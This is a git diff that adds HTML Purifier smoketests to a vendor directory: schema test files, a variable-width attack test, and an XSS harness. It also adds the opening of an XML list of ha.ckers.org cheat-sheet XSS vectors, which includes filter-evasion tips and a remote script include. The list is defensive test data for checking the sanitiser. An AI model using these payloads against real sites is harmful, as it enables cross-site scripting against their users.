+ <link rel="stylesheet" href="../library/HTMLPurifier/Printer/ConfigForm.css" type="text/css" />
+ <script defer="defer" type="text/javascript" src="../library/HTMLPurifier/Printer/ConfigForm.js"></script>
+</head>
+<body>
+
+<h1>HTML Purifier Printer Smoketest</h1>
+
+<p>HTML Purifier claims to have a robust yet permissive whitelist: this
+page will allow you to see precisely what HTML Purifier's internal
+whitelist is. You can
+also twiddle with the configuration settings to see how a directive
+influences the internal workings of the definition objects.</p>
+
+<h2>Modify configuration</h2>
+
+<p>You can specify an array by typing in a comma-separated
+list of items, HTML Purifier will take care of the rest (including
+transformation into a real array list or a lookup table).</p>
+
+<form method="get" action="" name="hp-configform">
+<?php
+ echo $printer_config_form->render($config, 'HTML');
+?>
+<p>* Some configuration directives make a distinction between an empty
+variable and a null variable. A whitelist, for example, will take an
+empty array as meaning <em>no</em> allowed elements, while checking
+Null/Disabled will mean that user whitelisting functionality is disabled.</p>
+</form>
+
+<h2>Definitions</h2>
+
+<dl>
+ <dt>Parent of Fragment</dt>
+ <dd>HTML that HTML Purifier does not live in a void: when it's
+ output, it has to be placed in another element by means of
+ something like <code>&lt;element&gt; &lt;?php echo $html
+ ?&gt; &lt;/element&gt;</code>. The parent in this example
+ is <code>element</code>.</dd>
+ <dt>Strict mode</dt>
+ <dd>Whether or not HTML Purifier's output is Transitional or
+ Strict compliant. Non-strict mode still actually a little strict
+ and converts many deprecated elements.</dd>
+ <dt>#PCDATA</dt>
+ <dd>Literally <strong>Parsed Character Data</strong>, it is regular
+ text. Tags like <code>ul</code> don't allow text in them, so
+ #PCDATA is missing.</dd>
+ <dt>Tag transform</dt>
+ <dd>A tag transform will change one tag to another. Example: <code>font</code>
+ turns into a <code>span</code> tag with appropriate CSS.</dd>
+ <dt>Attr Transform</dt>
+ <dd>An attribute transform changes a group of attributes based on one
+ another. Currently, only <code>lang</code> and <code>xml:lang</code>
+ use this hook, to synchronize each other's values. Pre/Post indicates
+ whether or not the transform is done before/after validation.</dd>
+ <dt>Excludes</dt>
+ <dd>Tags that an element excludes are excluded for all descendants of
+ that element, and not just the children of them.</dd>
+ <dt>Name(Param1, Param2)</dt>
+ <dd>Represents an internal data-structure. You'll have to check out
+ the corresponding classes in HTML Purifier to find out more.</dd>
+</dl>
+
+<h2>HTMLDefinition</h2>
+<?php echo $printer_html_definition->render($config) ?>
+<h2>CSSDefinition</h2>
+<?php echo $printer_css_definition->render($config) ?>
+</body>
+</html>
+<?php
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Directive.Allowed.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Directive.Allowed.txt
new file mode 100644
index 000000000..2145276e3
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Directive.Allowed.txt
@@ -0,0 +1,6 @@
+Directive.Allowed
+TYPE: string
+DEFAULT: 'apple'
+ALLOWED: 'apple', 'orange', 'pear', 'peach', 'mango'
+DESCRIPTION: This directive has a constrained set of allowed values.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Directive.Deprecated.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Directive.Deprecated.txt
new file mode 100644
index 000000000..ea1820fbb
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Directive.Deprecated.txt
@@ -0,0 +1,7 @@
+Directive.Deprecated
+TYPE: int
+DEFAULT: 0
+DESCRIPTION: This is a deprecated directive that shouldn't show up on the form.
+DEPRECATED-VERSION: 1.0.0
+DEPRECATED-USE: Directive.Allowed
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Directive.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Directive.txt
new file mode 100644
index 000000000..f59400c33
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Directive.txt
@@ -0,0 +1,3 @@
+Directive
+DESCRIPTION: Other custom options with directives.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.bool.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.bool.txt
new file mode 100644
index 000000000..6d446ca08
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.bool.txt
@@ -0,0 +1,5 @@
+Type.bool
+TYPE: bool
+DEFAULT: false
+DESCRIPTION: The boolean type is true or false.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.float.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.float.txt
new file mode 100644
index 000000000..e24ed0161
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.float.txt
@@ -0,0 +1,5 @@
+Type.float
+TYPE: float
+DEFAULT: 3.1415
+DESCRIPTION: The float type is a floating point number.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.hash.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.hash.txt
new file mode 100644
index 000000000..262d49e05
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.hash.txt
@@ -0,0 +1,5 @@
+Type.hash
+TYPE: hash
+DEFAULT: array('key1' => 'val1', 'key2' => 'val2')
+DESCRIPTION: The hash type is an associative array of string keys and string values.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.int.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.int.txt
new file mode 100644
index 000000000..157df3f3e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.int.txt
@@ -0,0 +1,5 @@
+Type.int
+TYPE: int
+DEFAULT: 23
+DESCRIPTION: The int type is an signed integer.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.istring.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.istring.txt
new file mode 100644
index 000000000..dfd43aa48
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.istring.txt
@@ -0,0 +1,5 @@
+Type.istring
+TYPE: istring
+DEFAULT: 'case insensitive'
+DESCRIPTION: The istring type is short (no newlines), must be ASCII and is case-insensitive.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.itext.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.itext.txt
new file mode 100644
index 000000000..97140dea8
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.itext.txt
@@ -0,0 +1,5 @@
+Type.itext
+TYPE: itext
+DEFAULT: "case\ninsensitive\nand\npossibly\nquite\nlong"
+DESCRIPTION: The text type has newlines, must be ASCII and is case-insensitive.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.list.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.list.txt
new file mode 100644
index 000000000..55497fcdf
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.list.txt
@@ -0,0 +1,5 @@
+Type.list
+TYPE: list
+DEFAULT: array('item1', 'item2')
+DESCRIPTION: The list type is a numerically indexed array of strings.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.lookup.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.lookup.txt
new file mode 100644
index 000000000..b2479912f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.lookup.txt
@@ -0,0 +1,5 @@
+Type.lookup
+TYPE: lookup
+DEFAULT: array('key1' => true, 'key2' => true)
+DESCRIPTION: The lookup type acts just like list, except its elements are unique and are checked with <code>isset($var[$key])</code>.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.mixed.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.mixed.txt
new file mode 100644
index 000000000..8bc14bbe6
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.mixed.txt
@@ -0,0 +1,5 @@
+Type.mixed
+TYPE: mixed
+DEFAULT: new stdclass()
+DESCRIPTION: The mixed type allows any type, and is not form-editable.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullbool.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullbool.txt
new file mode 100644
index 000000000..d3d756fc6
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullbool.txt
@@ -0,0 +1,7 @@
+Type.nullbool
+TYPE: bool/null
+DEFAULT: null
+--DESCRIPTION--
+Null booleans need to be treated a little specially. See %Type.nullstring
+for information on what the null flag does.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullstring.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullstring.txt
new file mode 100644
index 000000000..4db33235d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullstring.txt
@@ -0,0 +1,9 @@
+Type.nullstring
+TYPE: string/null
+DEFAULT: null
+--DESCRIPTION--
+The null type is not a type, but a flag that can be added to any type
+making null a valid value for that entry. It's useful for saying, "Let
+the software pick the value for me," or "Don't use this element" when
+false has a special meaning.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.string.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.string.txt
new file mode 100644
index 000000000..4cde40907
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.string.txt
@@ -0,0 +1,5 @@
+Type.string
+TYPE: string
+DEFAULT: 'Case sensitive'
+DESCRIPTION: The string type is short (no newlines) and case-sensitive.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.text.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.text.txt
new file mode 100644
index 000000000..5fca4d567
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.text.txt
@@ -0,0 +1,5 @@
+Type.text
+TYPE: text
+DEFAULT: "Case sensitive\nand\npossibly\nquite long..."
+DESCRIPTION: The text type has newlines and is case-sensitive.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.txt
new file mode 100644
index 000000000..b4761220c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.txt
@@ -0,0 +1,3 @@
+Type
+DESCRIPTION: Directives demonstration the variable types ConfigSchema supports.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/info.ini b/vendor/ezyang/htmlpurifier/smoketests/test-schema/info.ini
new file mode 100644
index 000000000..438e8acce
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/test-schema/info.ini
@@ -0,0 +1,3 @@
+name = "Test Schema"
+
+; vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/variableWidthAttack.php b/vendor/ezyang/htmlpurifier/smoketests/variableWidthAttack.php
new file mode 100644
index 000000000..f3b6e8214
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/variableWidthAttack.php
@@ -0,0 +1,57 @@
+<?php
+
+require_once 'common.php';
+
+echo '<?xml version="1.0" encoding="UTF-8" ?>';
+?><!DOCTYPE html
+ PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head>
+ <title>HTML Purifier Variable Width Attack Smoketest</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+</head>
+<body>
+<h1>HTML Purifier Variable Width Attack Smoketest</h1>
+<p>For more information, see
+<a href="http://applesoup.googlepages.com/bypass_filter.txt">Cheng Peng Su's
+original advisory.</a> This particular exploit code appears only to work
+in Internet Explorer, if it works at all.</p>
+<h2>Test</h2>
+<?php
+
+$purifier = new HTMLPurifier();
+
+?>
+<table>
+<thead><tr><th>ASCII</th><th width="30%">Raw</th><th>Output</th><th>Render</th></tr></thead>
+<tbody>
+<?php
+
+for ($i = 0; $i < 256; $i++) {
+ $c = chr($i);
+ $html = '<img src="" alt="X' . $c . '"';
+ $html .= '>A"'; // in our out the attribute? ;-)
+ $html .= "onerror=alert('$i')>O";
+ $pure_html = $purifier->purify($html);
+?>
+<tr>
+ <td><?php echo $i; ?></td>
+ <td style="font-size:8pt;"><?php echo escapeHTML($html); ?></td>
+ <td style="font-size:8pt;"><?php echo escapeHTML($pure_html); ?></td>
+ <td><?php echo $pure_html; ?></td>
+</tr>
+<?php } ?>
+</tbody>
+</table>
+
+<h2>Analysis</h2>
+
+<p>By making sure that UTF-8 is well formed and non-SGML codepoints are
+removed, as well as escaping quotes outside of tags, this is a non-threat.</p>
+
+</body>
+</html>
+<?php
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/xssAttacks.php b/vendor/ezyang/htmlpurifier/smoketests/xssAttacks.php
new file mode 100644
index 000000000..e43581937
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/xssAttacks.php
@@ -0,0 +1,100 @@
+<?php
+
+require_once('common.php');
+
+function formatCode($string)
+{
+ return
+ str_replace(
+ array("\t", '»', '\0(null)'),
+ array('<strong>\t</strong>', '<span class="linebreak">»</span>', '<strong>\0</strong>'),
+ escapeHTML(
+ str_replace("\0", '\0(null)',
+ wordwrap($string, 28, " »\n", true)
+ )
+ )
+ );
+}
+
+?><!DOCTYPE html
+ PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head>
+ <title>HTML Purifier XSS Attacks Smoketest</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <style type="text/css">
+ .scroll {overflow:auto; width:100%;}
+ .even {background:#EAEAEA;}
+ thead th {border-bottom:1px solid #000;}
+ pre strong {color:#00C;}
+ pre .linebreak {color:#AAA;font-weight:100;}
+ </style>
+</head>
+<body>
+<h1>HTML Purifier XSS Attacks Smoketest</h1>
+<p>XSS attacks are from
+<a href="http://ha.ckers.org/xss.html">http://ha.ckers.org/xss.html</a>.</p>
+<p><strong>Caveats:</strong>
+<tt>Google.com</tt> has been programatically disallowed, but as you can
+see, there are ways of getting around that, so coverage in this area
+is not complete. Most XSS broadcasts its presence by spawning an alert dialogue.
+The displayed code is not strictly correct, as linebreaks have been forced for
+readability. Linewraps have been marked with <tt>»</tt>. Some tests are
+omitted for your convenience. Not all control characters are displayed.</p>
+
+<h2>Test</h2>
+<?php
+
+if (version_compare(PHP_VERSION, '5', '<')) exit('<p>Requires PHP 5.</p>');
+
+$xml = simplexml_load_file('xssAttacks.xml');
+
+// programatically disallow google.com for URI evasion tests
+// not complete
+$config = HTMLPurifier_Config::createDefault();
+$config->set('URI.HostBlacklist', array('google.com'));
+$purifier = new HTMLPurifier($config);
+
+?>
+<table cellspacing="0" cellpadding="2">
+<thead><tr><th>Name</th><th width="30%">Raw</th><th>Output</th><th>Render</th></tr></thead>
+<tbody>
+<?php
+
+$i = 0;
+foreach ($xml->attack as $attack) {
+ $code = $attack->code;
+
+ // custom code for null byte injection tests
+ if (substr($code, 0, 7) == 'perl -e') {
+ $code = substr($code, $i=strpos($code, '"')+1, strrpos($code, '"') - $i);
+ $code = str_replace('\0', "\0", $code);
+ }
+
+ // disable vectors we cannot test in any meaningful way
+ if ($code == 'See Below') continue; // event handlers, whitelist defeats
+ if ($attack->name == 'OBJECT w/Flash 2') continue; // requires ActionScript
+ if ($attack->name == 'IMG Embedded commands 2') continue; // is an HTTP response
+
+ // custom code for US-ASCII, which couldn't be expressed in XML without encoding
+ if ($attack->name == 'US-ASCII encoding') $code = urldecode($code);
+?>
+ <tr<?php if ($i++ % 2) {echo ' class="even"';} ?>>
+ <td><?php echo escapeHTML($attack->name); ?></td>
+ <td><pre><?php echo formatCode($code); ?></pre></td>
+ <?php $pure_html = $purifier->purify($code); ?>
+ <td><pre><?php echo formatCode($pure_html); ?></pre></td>
+ <td><div class="scroll"><?php echo $pure_html ?></div></td>
+ </tr>
+<?php
+}
+
+?>
+</tbody>
+</table>
+</body>
+</html>
+<?php
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/xssAttacks.xml b/vendor/ezyang/htmlpurifier/smoketests/xssAttacks.xml
new file mode 100644
index 000000000..df741b6d3
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/xssAttacks.xml
@@ -0,0 +1,1307 @@
+<?xml version="1.0"?>
+<xss>
+ <attack>
+ <name>XSS Locator</name>
+ <code>&apos;;alert(String.fromCharCode(88,83,83))//\&apos;;alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&gt;&lt;/SCRIPT&gt;&quot;&gt;&apos;&gt;&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;=&amp;{}</code>
+
+ <desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word &quot;XSS&quot; will pop up. You&apos;ll need to replace the &quot;&amp;&quot; with &quot;%26&quot; if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable. Tip: If you&apos;re in a rush and need to quickly check a page, often times injecting the deprecated &quot;&lt;PLAINTEXT&gt;&quot; tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably.</desc>
+ <label>Basic XSS Attacks</label>
+
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>XSS Quick Test</name>
+ <code>&apos;&apos;;!--&quot;&lt;XSS&gt;=&amp;{()}</code>
+ <desc>If you don&apos;t have much space, this string is a nice compact XSS injection check. View source after injecting it and look for &lt;XSS versus &amp;lt;XSS to see if it is vulnerable.</desc>
+
+ <label>Basic XSS Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>SCRIPT w/Alert()</name>
+ <code>&lt;SCRIPT&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;</code>
+ <desc>Basic injection attack</desc>
+
+ <label>Basic XSS Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>SCRIPT w/Source File</name>
+ <code>&lt;SCRIPT SRC=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;</code>
+ <desc>No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here).</desc>
+ <label>Basic XSS Attacks</label>
+
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>SCRIPT w/Char Code</name>
+ <code>&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;</code>
+ <desc>Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word &quot;XSS&quot; will pop up.</desc>
+
+ <label>Basic XSS Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>BASE</name>
+ <code>&lt;BASE HREF=&quot;javascript:alert(&apos;XSS&apos;);//&quot;&gt;</code>
+ <desc>Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won&apos;t get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like &quot;images/image.jpg&quot; rather than full paths. If the path includes a leading forward slash like &quot;/images/image.jpg&quot; you can remove one slash from this vector (as long as there are two to begin the comment this will work</desc>
+
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>BGSOUND</name>
+ <code>&lt;BGSOUND SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code>
+ <desc>BGSOUND</desc>
+ <label>HTML Element Attacks</label>
+
+ <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>BODY background-image</name>
+ <code>&lt;BODY BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code>
+ <desc>BODY image</desc>
+ <label>HTML Element Attacks</label>
+
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>BODY ONLOAD</name>
+ <code>&lt;BODY ONLOAD=alert(&apos;XSS&apos;)&gt;</code>
+ <desc>BODY tag (I like this method because it doesn&apos;t require using any variants of &quot;javascript:&quot; or &quot;&lt;SCRIPT...&quot; to accomplish the XSS attack)</desc>
+
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>DIV background-image 1</name>
+ <code>&lt;DIV STYLE=&quot;background-image: url(javascript:alert(&apos;XSS&apos;))&quot;&gt;</code>
+ <desc>Div background-image</desc>
+ <label>HTML Element Attacks</label>
+
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>DIV background-image 2</name>
+ <code>&lt;DIV STYLE=&quot;background-image: url(&amp;#1;javascript:alert(&apos;XSS&apos;))&quot;&gt;</code>
+ <desc>Div background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279)</desc>
+
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>DIV expression</name>
+ <code>&lt;DIV STYLE=&quot;width: expression(alert(&apos;XSS&apos;));&quot;&gt;</code>
+ <desc>Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and &quot;expression&quot;</desc>
+
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>FRAME</name>
+ <code>&lt;FRAMESET&gt;&lt;FRAME SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/FRAMESET&gt;</code>
+ <desc>Frame (Frames have the same sorts of XSS problems as iframes).</desc>
+
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>IFRAME</name>
+ <code>&lt;IFRAME SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/IFRAME&gt;</code>
+ <desc>Iframe (If iframes are allowed there are a lot of other XSS problems as well).</desc>
+
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>INPUT Image</name>
+ <code>&lt;INPUT TYPE=&quot;IMAGE&quot; SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code>
+ <desc>INPUT Image</desc>
+
+ <label>HTML Element Attacks</label>
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+ </attack>
+
+ <attack>
+ <name>IMG w/JavaScript Directive</name>
+ <code>&lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;</code>
+ <desc>Image XSS using the JavaScript directive.</desc>
+ <label>HTML Element Attacks</label>
+
+ <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser>
+
+ </attack>
+ <attack>
+ <name>IMG No Quotes/Semicolon</name>
+ <code>&lt;IMG SRC=javascript:alert(&apos;XSS&apos;)&gt;</code>
+ <desc>No quotes and no semicolon</desc>
+ <label>HTML Element Attacks</label>
+
